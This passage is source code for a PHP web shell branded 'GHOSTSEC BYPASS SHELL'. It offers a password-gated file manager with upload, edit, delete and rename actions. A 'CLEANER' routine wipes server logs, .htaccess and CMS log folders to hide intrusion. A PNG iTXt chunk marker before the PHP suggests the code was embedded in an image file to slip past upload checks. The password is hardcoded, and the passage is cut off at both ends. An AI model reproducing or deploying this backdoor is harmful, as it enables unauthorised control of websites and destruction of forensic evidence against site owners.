10px; transition: all 0.3s ease; letter-spacing: 1px; } .create-btn:hover { transform: translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4); } .create-btn:active { transform: translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6); background: linear-gradient(145deg, #b0b0b0, var(--btn-dark)); } /* Actions: copy/upload/logout */ .action-group{ display:flex; gap:12px; align-items:center; } .copy-btn, .logout-inside, .btn-small, .search-btn, .clear-logs-btn, .upload-btn{ background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color:#222222; padding:12px 18px; border-radius:14px; font-weight:900; text-decoration:none; border:none; cursor:pointer; box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3); display:inline-flex; align-items:center; gap:10px; transition: all 0.3s ease; letter-spacing: 1px; } .copy-btn:hover, .logout-inside:hover, .btn-small:hover, .search-btn:hover, .clear-logs-btn:hover, .upload-btn:hover{ transform:translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4); } .copy-btn:active, .logout-inside:active, .btn-small:active, .search-btn:active, .clear-logs-btn:active, .upload-btn:active{ transform:translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6); background: linear-gradient(145deg, #b0b0b0, var(--btn-dark)); } /* Upload form styling */ .upload-form{ display:inline-block; margin:0; } .upload-label{ cursor:pointer; display:inline-flex; align-items:center; gap:8px; padding:12px 16px; } .upload-input{ display:none; } /* Upload feedback */ .upload-feedback { position: fixed; top: 20px; right: 20px; background: linear-gradient(145deg, #2a2a2a, #1f1f1f); color: #9fe06c; padding: 14px 22px; border-radius: 14px; border: 1px solid var(--border); box-shadow: 10px 10px 25px rgba(0,0,0,0.5), -5px -5px 15px rgba(255,255,255,0.05); font-weight: 900; z-index: 1000; animation: slideIn 0.3s ease; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } /* MAIN CARD (file list) */ .card{ border-radius:20px; padding:22px; background:linear-gradient(145deg,var(--card-dark),var(--card-light)); box-shadow: 15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05), inset 3px 3px 8px rgba(255,255,255,0.05), inset -3px -3px 8px rgba(0,0,0,0.3); border:1px solid var(--border); margin-top:20px; } /* Breadcrumb */ .breadcrumb{ color:var(--muted); font-weight:700; display:flex; gap:10px; align-items:center; flex-wrap:wrap; margin-bottom:16px; } .breadcrumb a{ color:var(--accent); text-decoration:none; padding:8px 12px; border-radius:12px; background:linear-gradient(145deg,#3a3a3a,#2d2d2d); font-weight:800; box-shadow: 5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05); transition:all 0.3s ease; } .breadcrumb a:hover{ transform:translateY(-2px); box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.08); } /* Search results info */ .search-info{ background:linear-gradient(145deg,#2a2a2a,#1f1f1f); padding:14px 18px; border-radius:14px; margin-bottom:20px; border:1px solid var(--border); box-shadow:inset 3px 3px 8px rgba(0,0,0,0.3); } .search-info h3{ margin:0 0 10px 0; color:var(--accent); font-size:18px; } .search-info .clear-search{ color:var(--muted); text-decoration:none; font-weight:800; font-size:13px; } /* File list */ .file-list{ list-style:none; padding:0; margin:0; margin-top:12px; display:grid; gap:12px; } .file-item{ display:flex; gap:14px; align-items:center; justify-content:space-between; padding:14px; border-radius:14px; background:linear-gradient(145deg,rgba(255,255,255,0.03),rgba(0,0,0,0.1)); border:1px solid rgba(255,255,255,0.03); box-shadow: 5px 5px 15px rgba(0,0,0,0.2), -3px -3px 10px rgba(255,255,255,0.03); } .file-left{ display:flex; gap:14px; align-items:center; min-width:0; overflow:hidden; } .file-icon{ width:60px; height:50px; border-radius:12px; background:linear-gradient(145deg,#3a3c3d,#272829); display:flex; align-items:center; justify-content:center; font-weight:900; color:#fff; flex-shrink:0; font-size:14px; box-shadow: inset 3px 3px 8px rgba(0,0,0,0.4), inset -3px -3px 8px rgba(255,255,255,0.1); } .file-info{min-width:0;overflow:hidden} .name{ font-weight:900; color:#f0f0f0; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; font-size:16px; text-shadow:1px 1px 2px rgba(0,0,0,0.3); } .meta{color:var(--muted);font-size:13px;margin-top:6px} /* file action buttons */ .file-actions{display:flex;gap:10px;align-items:center} .btn-small{ padding:10px 14px; border-radius:12px; font-size:13px; letter-spacing: 0.5px; } /* footer */ footer.note{text-align:center;color:var(--muted);font-weight:800;margin-top:20px;text-shadow:1px 1px 2px rgba(0,0,0,0.3)} /* Responsive adjustments */ @media (max-width:1000px){ .search-box{min-width:260px} .browse-block{min-width:280px} .brand img{width:52px;height:52px} .file-icon{width:52px;height:44px} } @media (max-width:700px){ .top-card{flex-direction:column;align-items:stretch} .controls{justify-content:space-between;width:100%} .search-box{order:2;width:100%;min-width:0;margin-top:16px} .browse-block{justify-content:space-between;min-width:0;order:1;width:100%} .action-group{order:3;width:100%;justify-content:center;margin-top:16px} .create-group{order:4;justify-content:center} .current-path{max-width:65%} .file-item{flex-direction:column;align-items:flex-start} .file-actions{width:100%;justify-content:flex-start;gap:8px;flex-wrap:wrap} } </style> <script> /* Initialize lastClickedPath to the server-side full path (JS-safe via json encoding) */ let lastClickedPath = <?php echo json_encode($fullPath, JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_AMP|JSON_HEX_QUOT); ?>; let searchTimeout = null; // Get scroll position from URL or default to 0 let currentScrollPos = <?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>; /* Update displayed path and internal value — safe escaping handled server-side */ function setPath(path){ lastClickedPath = path; const d = document.getElementById('currentPathDisplay'); if(d) { d.innerText = path; } } /* Copy path robustly (navigator.clipboard with textarea fallback) */ function copyPath(){ const text = lastClickedPath || (document.getElementById('currentPathDisplay') && document.getElementById('currentPathDisplay').innerText) || ''; if (!text) { alert('No path to copy.'); return; } if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).then(function(){ alert('Copied:\\n' + text); }).catch(function(){ fallbackCopy(text); }); } else { fallbackCopy(text); } } function fallbackCopy(text){ try { const ta = document.createElement('textarea'); ta.value = text; ta.style.position = 'fixed'; ta.style.left = '-9999px'; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); alert('Copied:\\n' + text); } catch (e) { alert('Could not copy.'); } } /* Search functionality with auto-submit */ function handleSearchInput(value) { clearTimeout(searchTimeout); searchTimeout = setTimeout(function() { if (value.length >= 2 || value.length === 0) { document.getElementById('searchForm').submit(); } }, 500); } /* Clear search */ function clearSearch() { document.getElementById('searchInput').value = ''; document.getElementById('searchForm').submit(); } /* Enhanced upload functionality */ function handleFileUpload(input) { if (input.files && input.files[0]) { // Show immediate feedback showUploadFeedback('Uploading file...'); // Submit the form const form = input.closest('form'); if (form) { form.submit(); } } } function showUploadFeedback(message) { // Remove existing feedback const existing = document.querySelector('.upload-feedback'); if (existing) { existing.remove(); } // Create new feedback const feedback = document.createElement('div'); feedback.className = 'upload-feedback'; feedback.textContent = message; document.body.appendChild(feedback); // Auto remove after 3 seconds setTimeout(() => { feedback.remove(); }, 3000); } /* Save scroll position before any action */ function saveScrollPosition() { const scrollPos = window.pageYOffset || document.documentElement.scrollTop; // Update all links to include scroll position document.querySelectorAll('a[href*="?"]').forEach(link => { const href = link.getAttribute('href'); if (href && href.includes('?')) { // Remove existing scroll parameter if present let newHref = href.replace(/&scroll=\d+/, ''); // Add current scroll position newHref += (newHref.includes('?') ? '&' : '?') + 'scroll=' + scrollPos; link.setAttribute('href', newHref); } }); // Update forms to include scroll position document.querySelectorAll('form').forEach(form => { let existingScroll = form.querySelector('input[name="scroll"]'); if (!existingScroll) { const scrollInput = document.createElement('input'); scrollInput.type = 'hidden'; scrollInput.name = 'scroll'; scrollInput.value = scrollPos; form.appendChild(scrollInput); } else { existingScroll.value = scrollPos; } }); } /* Restore scroll position */ function restoreScrollPosition() { if (currentScrollPos > 0) { setTimeout(() => { window.scrollTo(0, currentScrollPos); }, 100); } } /* Accessibility: allow clicking breadcrumb anchors with keyboard to update path */ document.addEventListener('DOMContentLoaded', function(){ // ensure current-path has initial value const d = document.getElementById('currentPathDisplay'); if(d && (!d.innerText || d.innerText.trim()==='')) { d.innerText = lastClickedPath; } // enhance breadcrumb anchors to set path (if not already set via inline onclick) const crumbs = document.querySelectorAll('.breadcrumb a'); crumbs.forEach(function(a){ if (!a.getAttribute('onclick')) { const href = a.getAttribute('href'); try { const url = new URL(href, window.location.href); const p = url.searchParams.get('path'); if (p) { a.setAttribute('data-path', decodeURIComponent(p)); a.addEventListener('click', function(){ setPath(this.getAttribute('data-path')); }); } } catch(e){} } }); // make file name elements that have onclick set their title (helpful on mobile) const names = document.querySelectorAll('.file-info .name'); names.forEach(function(n){ if (n && n.innerText) n.setAttribute('title', n.innerText); }); // Show upload success message if present in URL const urlParams = new URLSearchParams(window.location.search); if (urlParams.get('upload') === 'success') { showUploadFeedback('File Uploaded!✅'); } // Add scroll position preservation to all action links document.querySelectorAll('a[href*="?"]:not([href*="logout"])').forEach(link => { link.addEventListener('click', function(e) { if (!this.href.includes('logout')) { saveScrollPosition(); } }); }); // Add scroll position preservation to form submissions document.querySelectorAll('form').forEach(form => { form.addEventListener('submit', saveScrollPosition); }); // Restore scroll position on page load restoreScrollPosition(); }); </script> </head> <body onload="restoreScrollPosition();"> <?php // Display one-time toast (simple alert). Put this after the <body> tag. if (!empty($_SESSION['toast'])) { $t = $_SESSION['toast']; echo "<script>try{showUploadFeedback('" . addslashes($t) . "');}catch(e){alert('" . addslashes($t) . "');}</script>"; unset($_SESSION['toast']); } ?> <div class="wrap"> <div class="top-card"> <div class="brand"> <img src="https://i.ibb.co/27S7vWvq/1762220205621.png" alt="logo"> <div> <h2>GHOSTSEC BYPASS SHELL</h2> <div class="sub">3D Admin File Manager</div> </div> </div> <div class="controls"> <!-- Search Box --> <div class="search-box"> <form method="get" id="searchForm" style="display:flex;gap:10px;width:100%;"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"> <input type="hidden" name="scroll" value="<?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>"> <input type="text" id="searchInput" name="search" class="search-input" placeholder="Search files (.php, .txt, .js, .html, etc.)" value="<?php echo htmlspecialchars($searchTerm, ENT_QUOTES); ?>" oninput="handleSearchInput(this.value)"> <button type="submit" class="search-btn">SEARCH</button> </form> </div> <div class="browse-block" aria-hidden="false"> <div style="text-align:right"> <div class="browse-label">Path:</div> </div> <div id="currentPathDisplay" class="current-path" style="max-width:560px;"><?php echo htmlspecialchars($fullPath,ENT_QUOTES); ?></div> </div> <div class="action-group" role="group" aria-label="actions"> <button type="button" class="copy-btn" onclick="copyPath()" title="Copy current path to clipboard">COPY PATH</button> <!-- FIXED UPLOAD FORM --> <form method="post" enctype="multipart/form-data" class="upload-form"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"> <input type="hidden" name="scroll" value="<?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>"> <label class="upload-btn"> UPLOAD <input type="file" name="upload" class="upload-input" onchange="handleFileUpload(this)" style="display:none"> </label> </form> <a class="clear-logs-btn" href="?clearlogs=1&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition(); return confirm('Are you sure you want to clear all logs? This action cannot be undone.')">CLEANER</a> <a class="logout-inside" href="?logout=1">LOGOUT</a> </div> <!-- NEW CREATE FILE/FOLDER BUTTONS GROUP WITHOUT MIRROR BUTTON --> <div class="create-group"> <a class="create-btn" href="?create=file&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition();">CREATE - FILES</a> <a class="create-btn" href="?create=folder&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition();">CREATE FOLDER</a> </div> </div> </div> <div class="card"> <div class="breadcrumb" aria-label="breadcrumb"><?php echo $breadcrumb; ?></div> <?php if ($searchTerm !== ''): ?> <div class="search-info"> <h3>Search Results for "<?php echo htmlspecialchars($searchTerm, ENT_QUOTES); ?>"</h3> <div>Found <?php echo count($searchResults); ?> result(s)</div> <a href="?<?php echo getRedirectParams(); ?>" class="clear-search">Clear Search</a> </div> <?php endif; ?> <ul class="file-list" aria-live="polite"> <?php $displayItems = $searchTerm !== '' ? $searchResults : scandir($fullPath); foreach ($displayItems as $entry) { if ($searchTerm !== '') { // For search results, $entry is already the full path $filePath = $entry; $entry = basename($entry); } else { // For normal directory listing if ($entry === '.' || $entry === '..') continue; $filePath = $fullPath . DIRECTORY_SEPARATOR . $entry; } $urlPath = rawurlencode($filePath); $isWritable = is_writable($filePath); $isDir = is_dir($filePath); $meta = $isDir ? "Directory" : (round(filesize($filePath)/1024,2) . " KB"); $iconLabel = $isDir ? "DIR" : strtoupper(pathinfo($entry, PATHINFO_EXTENSION) ?: 'FILE'); // Check if item is locked by looking for backup file $isLocked = is_locked_backup_present($filePath); // prepare JS-safe path for setPath calls $jsSafePath = addslashes($filePath); echo "<li class='file-item'>"; echo "<div class='file-left'>"; echo "<div class='file-icon' title='".htmlspecialchars($entry,ENT_QUOTES)."'>".htmlspecialchars($iconLabel,ENT_QUOTES)."</div>"; echo "<div class='file-info'>"; if ($isDir) { echo "<div class='name'><b>[<a href='?" . getRedirectParamsForLink($filePath) . "' onclick=\"setPath('".htmlspecialchars($jsSafePath,ENT_QUOTES)."')\" style='color:var(--accent);text-decoration:none;'>".htmlspecialchars($entry,ENT_QUOTES)."</a>]</b></div>"; } else { echo "<div class='name' onclick=\"setPath('".htmlspecialchars($jsSafePath,ENT_QUOTES)."')\" style='cursor:pointer;color:var(--accent);'>".htmlspecialchars($entry,ENT_QUOTES)."</div>"; } echo "<div class='meta'>".htmlspecialchars($meta,ENT_QUOTES)."</div>"; echo "</div>"; echo "</div>"; echo "<div class='file-actions' role='group' aria-label='file actions'>"; if (!$isDir) { $editDisabled = ($isWritable && !$isLocked) ? "" : "style='opacity:.45;pointer-events:none;'"; echo "<a class='btn-small' href='?edit=$urlPath&" . getRedirectParams() . "' $editDisabled onclick=\"saveScrollPosition();\">EDIT</a>"; } echo "<a class='btn-small' href='?rename=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">RENAME</a>"; echo "<a class='btn-small' href='?delete=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition(); return confirm('Delete ".addslashes($entry)."?')\">DELETE</a>"; if (!$isLocked) { echo "<a class='btn-small' href='?lock=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">LOCK</a>"; } else { echo "<a class='btn-small' href='?unlock=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">UNLOCK</a>"; } echo "</div>"; echo "</li>"; } ?> </ul> </div> <div class="card" style="text-align:center;font-weight:bold;margin-top:14px"> @All Right Reserve Ghost Security Society PH - 2024 </div> </div> </body> </html>�_�X �iTXtComment <?php session_start(); // Prevent browser caching header("Cache-Control: no-cache, no-store, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); // Store current scroll position before any redirect if (isset($_SERVER['HTTP_REFERER']) && isset($_GET['path'])) { $_SESSION['last_path'] = $_GET['path']; $_SESSION['last_scroll'] = isset($_GET['scroll']) ? $_GET['scroll'] : 0; } /* ============================ LOGIN SYSTEM ============================ */ $DEFAULT_PASS = "GeoDevz69"; // Logout if (isset($_GET['logout'])) { $_SESSION = []; session_destroy(); header("Location: ?"); exit; } // Clear logs function if (isset($_GET['clearlogs'])) { clearLogs(); $_SESSION['toast'] = "Logs cleared successfully!"; header("Location: ?" . getRedirectParams()); exit; } function clearLogs() { $commonLogFiles = [ 'error_log', 'access_log', '.htaccess', 'logs.txt', 'log.txt', 'debug.log', 'error.log' ]; $commonLogDirs = [ 'logs', 'log', 'tmp', 'temp', 'cache', 'debug' ]; $cleared = []; // Clear common log files foreach ($commonLogFiles as $logFile) { if (file_exists($logFile)) { if (unlink($logFile)) { $cleared[] = $logFile; } } // Check in subdirectories $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('.', RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && $file->getFilename() === $logFile) { if (unlink($file->getPathname())) { $cleared[] = $file->getPathname(); } } } } // Clear log directories foreach ($commonLogDirs as $logDir) { if (is_dir($logDir)) { deleteDirectory($logDir); $cleared[] = $logDir . '/'; } } // Clear common CMS log directories $cmsLogDirs = [ 'wp-content/debug.log', 'wp-content/error_log', 'storage/logs', 'var/log', 'app/logs' ]; foreach ($cmsLogDirs as $cmsLog) { if (file_exists($cmsLog)) { if (is_dir($cmsLog)) { deleteDirectory($cmsLog); } else { unlink($cmsLog); } $cleared[] = $cmsLog; } } return $cleared; } function deleteDirectory($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . '/' . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } // Helper function to get redirect parameters function getRedirectParams() { $params = []; if (isset($_GET['path'])) { $params[] = 'path=' . rawurlencode($_GET['path']); } if (isset($_GET['search']) && $_GET['search'] !== '') { $params[] = 'search=' . rawurlencode($_GET['search']); } if (isset($_GET['scroll'])) { $params[] = 'scroll=' . intval($_GET['scroll']); } return !empty($params) ? implode('&', $params) : ''; } if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['password']) && $_POST['password'] === $DEFAULT_PASS) { session_regenerate_id(true); $_SESSION['logged_in'] = true; header("Location: ?"); exit; } else { $error = "Wrong password!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width,initial-scale=1"/> <title>GhostSec Admin - Login</title> <style> /* 3D DARK GRAY LOGIN THEME WITH GRAY 3D BUTTONS */ :root { --bg-dark: #1a1a1a; --bg-darker: #111111; --card-dark: #2d2d2d; --card-light: #3a3a3a; --text-light: #f0f0f0; --text-muted: #aaaaaa; --accent: #ffffff; --btn-light: #a0a0a0; --btn-dark: #808080; --btn-shadow: #606060; --btn-pressed: #b0b0b0; } * { box-sizing: border-box; margin: 0; padding: 0; } html, body { height: 100%; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(145deg, var(--bg-darker), var(--bg-dark)); color: var(--text-light); -webkit-font-smoothing: antialiased; overflow: hidden; } .center { min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 24px; perspective: 1000px; } /* 3D CARD EFFECT */ .card { width: 420px; max-width: 96%; border-radius: 24px; padding: 36px 32px; background: linear-gradient(145deg, var(--card-dark), var(--card-light)); box-shadow: 20px 20px 40px rgba(0, 0, 0, 0.5), -10px -10px 30px rgba(255, 255, 255, 0.05), inset 2px 2px 5px rgba(255, 255, 255, 0.1), inset -2px -2px 5px rgba(0, 0, 0, 0.3); border: 1px solid rgba(255, 255, 255, 0.08); text-align: center; transform-style: preserve-3d; animation: cardFloat 6s ease-in-out infinite; } @keyframes cardFloat { 0%, 100% { transform: translateY(0) rotateX(2deg) rotateY(1deg); } 50% { transform: translateY(-10px) rotateX(-1deg) rotateY(-1deg); } } .logo { width: 140px; height: 140px; border-radius: 50%; margin: -80px auto 20px; overflow: hidden; border: 8px solid rgba(0, 0, 0, 0.4); box-shadow: 0 15px 35px rgba(0, 0, 0, 0.7), inset 5px 5px 15px rgba(255, 255, 255, 0.1), inset -5px -5px 15px rgba(0, 0, 0, 0.4); transform: translateZ(20px); background: linear-gradient(145deg, #333333, #2a2a2a); } .logo img { width: 100%; height: 100%; object-fit: cover; display: block; filter: brightness(1.1) contrast(1.1); } .title { margin: 0 0 12px 0; font-weight: 800; letter-spacing: 2px; text-shadow: 3px 3px 6px rgba(0, 0, 0, 0.7); font-size: 28px; color: var(--accent); transform: translateZ(15px); } .msg { color: #ff6b6b; font-weight: 700; margin: 8px 0 0; text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.5); transform: translateZ(10px); } .form { margin-top: 24px; transform: translateZ(10px); } .field { width: 92%; max-width: 340px; margin: 16px auto 0; position: relative; } /* 3D INPUT FIELD */ .input { width: 100%; padding: 18px 52px 18px 20px; border-radius: 16px; border: none; background: linear-gradient(145deg, #4a4a4a, #3a3a3a); color: var(--text-light); font-weight: 700; font-size: 16px; box-shadow: inset 5px 5px 10px rgba(0, 0, 0, 0.4), inset -5px -5px 10px rgba(255, 255, 255, 0.1), 5px 5px 15px rgba(0, 0, 0, 0.5); outline: none; transition: all 0.3s ease; letter-spacing: 1px; } .input:focus { box-shadow: inset 3px 3px 8px rgba(0, 0, 0, 0.5), inset -3px -3px 8px rgba(255, 255, 255, 0.15), 0 0 20px rgba(255, 255, 255, 0.1); transform: translateY(-2px); } .input::placeholder { color: var(--text-muted); font-weight: 600; } /* 3D GRAY SHOW BUTTON */ .show-btn { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); padding: 10px 16px; border-radius: 12px; background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; border: none; font-weight: 800; cursor: pointer; box-shadow: 5px 5px 15px rgba(0, 0, 0, 0.4), -3px -3px 10px rgba(255, 255, 255, 0.3); transition: all 0.2s ease; font-size: 13px; letter-spacing: 1px; } .show-btn:hover { transform: translateY(-50%) scale(1.05); } .show-btn:active { box-shadow: inset 3px 3px 8px var(--btn-shadow), inset -3px -3px 8px rgba(255, 255, 255, 0.5); background: linear-gradient(145deg, var(--btn-pressed), var(--btn-dark)); transform: translateY(-50%) scale(0.98); } .row { display: flex; gap: 16px; width: 92%; max-width: 340px; margin: 24px auto 0; } /* 3D GRAY BUTTONS */ .btn { flex: 1; padding: 16px 20px; border-radius: 16px; border: none; background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; font-weight: 900; cursor: pointer; box-shadow: 8px 8px 20px rgba(0, 0, 0, 0.4), -5px -5px 15px rgba(255, 255, 255, 0.3); font-size: 15px; letter-spacing: 1.5px; transition: all 0.3s ease; position: relative; overflow: hidden; transform-style: preserve-3d; } .btn::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient(145deg, rgba(255,255,255,0.1), rgba(0,0,0,0.1)); border-radius: 16px; opacity: 0; transition: opacity 0.3s ease; } .btn:hover { transform: translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0, 0, 0, 0.5), -7px -7px 20px rgba(255, 255, 255, 0.4); } .btn:hover::before { opacity: 1; } .btn:active { transform: translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255, 255, 255, 0.6); background: linear-gradient(145deg, var(--btn-pressed), var(--btn-dark)); } .ghost { background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); } .note { margin-top: 20px; color: var(--text-muted); font-size: 13px; line-height: 1.5; transform: translateZ(5px); text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); } /* Background 3D elements */ .bg-elements { position: fixed; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: -1; } .bg-element { position: absolute; background: rgba(255, 255, 255, 0.03); border-radius: 50%; filter: blur(40px); } .bg-1 { width: 300px; height: 300px; top: -100px; right: -100px; animation: float 20s infinite linear; } .bg-2 { width: 400px; height: 400px; bottom: -150px; left: -150px; animation: float 25s infinite linear reverse; } .bg-3 { width: 200px; height: 200px; top: 50%; left: 10%; animation: float 15s infinite linear; } @keyframes float { 0% { transform: translate(0, 0) rotate(0deg); } 100% { transform: translate(100px, 100px) rotate(360deg); } } @media (max-width: 480px) { .card { padding: 28px 24px; border-radius: 20px; } .logo { width: 110px; height: 110px; margin-top: -65px; border-width: 6px; } .title { font-size: 24px; } .field, .row { width: 96%; } .input { padding: 16px 48px 16px 18px; } } </style> <script> function togglePassword() { const f = document.getElementById('pw'); if (!f) return; const b = document.getElementById('showBtn'); if (f.type === 'password') { f.type = 'text'; b.innerText = 'HIDE'; b.setAttribute('aria-pressed', 'true'); } else { f.type = 'password'; b.innerText = 'SHOW'; b.setAttribute('aria-pressed', 'false'); } } function playKeySound() { try { const a = new Audio('https://cdn.pixabay.com/audio/2021/09/06/audio_730f0b5c79.mp3'); a.volume = 0.3; a.play().catch(() => {}); } catch(e) {} } // Add 3D tilt effect to card document.addEventListener('DOMContentLoaded', function() { const card = document.querySelector('.card'); if (card) { card.addEventListener('mousemove', function(e) { const rect = card.getBoundingClientRect(); const x = e.clientX - rect.left; const y = e.clientY - rect.top; const centerX = rect.width / 2; const centerY = rect.height / 2; const rotateY = ((x - centerX) / centerX) * 3; const rotateX = ((centerY - y) / centerY) * 3; card.style.transform = `perspective(1000px) rotateX(${rotateX}deg) rotateY(${rotateY}deg) translateY(-5px)`; }); card.addEventListener('mouseleave', function() { card.style.transform = 'perspective(1000px) rotateX(2deg) rotateY(1deg) translateY(0)'; card.style.transition = 'transform 0.5s ease'; setTimeout(() => { card.style.transition = ''; }, 500); }); } }); </script> </head> <body> <div class="bg-elements"> <div class="bg-element bg-1"></div> <div class="bg-element bg-2"></div> <div class="bg-element bg-3"></div> </div> <div class="center"> <div class="card" role="main" aria-labelledby="loginTitle"> <div class="logo" aria-hidden="true"><img src="https://i.ibb.co/27S7vWvq/1762220205621.png" alt="logo"></div> <h2 id="loginTitle" class="title">ADMIN PANEL</h2> <?php if (isset($error)) echo '<div class="msg" role="alert">'.htmlspecialchars($error,ENT_QUOTES).'</div>'; ?> <form method="post" class="form" autocomplete="off" onsubmit="document.getElementById('pw').disabled=false;"> <div class="field"> <input id="pw" class="input" name="password" type="password" placeholder="ENTER PASSWORD" required autocomplete="off"> <button id="showBtn" type="button" class="show-btn" aria-pressed="false" onclick="togglePassword()">SHOW</button> </div> <div class="row"> <button type="button" class="btn ghost" onclick="playKeySound()">GET KEY</button> <button type="submit" class="btn">LOGIN</button> </div> <div class="note">Use your admin password to access the file manager. All actions are immediate and logged.</div> </form> </div> </div> </body> </html> <?php exit; } /* ============================ MAIN FILE MANAGER PAGE ============================ */ $path = isset($_GET['path']) ? $_GET['path'] : '.'; $fullPath = realpath($path); if ($fullPath === false) $fullPath = realpath('.'); // Search functionality $searchTerm = isset($_GET['search']) ? trim($_GET['search']) : ''; $searchResults = []; if ($searchTerm !== '') { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($fullPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { $filename = $file->getFilename(); $filepath = $file->getPathname(); // Search by extension or filename if (stripos($filename, $searchTerm) !== false || stripos($filepath, $searchTerm) !== false || (strpos($searchTerm, '.') === 0 && substr($filename, -strlen($searchTerm)) === $searchTerm)) { $searchResults[] = $filepath; } } } } /* ============================ CREATE FILE/FOLDER FUNCTIONALITY ============================ */ if (isset($_GET['create'])) { $type = $_GET['create']; // 'file' or 'folder' if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = trim($_POST['name']); if ($name === '') { $_SESSION['toast'] = "Name cannot be empty!"; header("Location: ?" . getRedirectParams()); exit; } $fullPath = $fullPath . DIRECTORY_SEPARATOR . $name; if ($type === 'file') { if (file_exists($fullPath)) { $_SESSION['toast'] = "File already exists!"; } elseif (touch($fullPath)) { $_SESSION['toast'] = "File created successfully!✅"; } else { $_SESSION['toast'] = "Failed to create file!"; } } elseif ($type === 'folder') { if (file_exists($fullPath)) { $_SESSION['toast'] = "Folder already exists!"; } elseif (mkdir($fullPath, 0755, true)) { $_SESSION['toast'] = "Folder created successfully!✅"; } else { $_SESSION['toast'] = "Failed to create folder!"; } } header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Create <?php echo htmlspecialchars($type,ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060;--muted:#9aa0a6} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:680px;margin:30px auto;padding:24px;border-radius:20px;background:linear-gradient(145deg,#2d2d2d,#3a3a3a);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05);border:1px solid rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}input[type=text]{width:100%;padding:14px 18px;border-radius:14px;border:none;margin-bottom:16px;font-weight:700;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}.btn{background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;padding:14px 20px;border-radius:14px;font-weight:900;text-decoration:none;border:none;cursor:pointer;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} .btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} .btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px 